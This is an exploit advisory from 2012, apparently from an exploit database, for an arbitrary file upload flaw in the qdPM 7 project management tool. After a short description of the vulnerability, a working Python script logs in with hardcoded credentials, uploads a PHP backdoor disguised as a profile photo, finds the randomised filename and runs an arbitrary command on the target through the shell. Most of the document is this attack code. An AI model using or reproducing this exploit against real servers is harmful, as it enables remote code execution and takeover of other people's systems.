qdPM 7 – Arbitrary File upload
###################################################################################### # Exploit qdPM v.7 Arbitrary File upload # Date: June 13th 2012 # Author: loneferret # Version: 7 # Vendor Url: http://qdpm.net/ # Tested on: Winddows XP / XAMPP ###################################################################################### # Discovered by: loneferret ###################################################################################### # Software description: # Free project management tool for small team # qdPM is a free web-based project management tool suitable for a small team working on multiple projects. # It is fully configurable. You can easy manage Projects, Tasks and People. Customers interact # using a Ticket System that is integrated into Task management. # Vulnerability: # Application does not verify the file's extension when uploading an image for a user's profile. # Making it possible to upload a small php shell, and accessing it remotely. # Note(s): # One needs a valid user account to upload the file. (Client will do) # No need to be authenticated to access the file. # Uploading file: # Once logged in, upload file here: # Page: /qdPM/index.php/home/myAccount # Access file: # File can be found here: # /qdPM/uploads/users/<filename> # # Note the filename will contain a random number. One need to # to look at the source code from the browser to find it. # For example: <input type="file" name="users[photo]" value="171793-backdoor.php" id="users_photo" /> ----- python script ----- #!/usr/bin/python import re, mechanize import urllib, sys print "\n[*] qdPM v.7 Remote Code Execution" print "[*] Vulnerability discovered by loneferret" print "[*] Offensive Security - http://www.offensive-security.com\n" if (len(sys.argv) != 3): print "[*] Usage: poc.py <RHOST> <RCMD>" exit(0) rhost = sys.argv[1] rcmd = sys.argv[2] # Login into site try: print "[*] Loging in ." br = mechanize.Browser() br.open("http://%s/qdPM/index.php/home/login" % rhost) assert br.viewing_html() br.select_form(name="UsersForm") br.select_form(nr=0) br.form['login[email]'] = "loneferret@test.com" br.form['login[password]'] = "123456" print "[*] Hope this works" br.submit() except: print "[*] Oups..." exit(0) # Upload malicious file try: print "[*] Uploading shell .." br.open("http://%s/qdPM/home/myAccount" % rhost) assert br.viewing_html() br.select_form(name="UsersAccountForm") br.select_form(nr=0) br.form.add_file(open('backdoor.php'), "text/plain", "backdoor.php", name="users[photo]") br.submit(nr=0) except: print "[-] Upload didn't work." exit(0) # Get file name once saved try: br.select_form(name="UsersAccountForm") for form in br.forms(): filename = form.controls[9].value print "[*] Filename is now: " + filename url = "http://%s/qdPM/uploads/users " % rhost url += "/%s?cmd=%s" % (filename,rcmd) print "[*] Executing command:\n" resp = urllib.urlopen(url) print resp.read() except: print "[-] Oups..." exit(0) |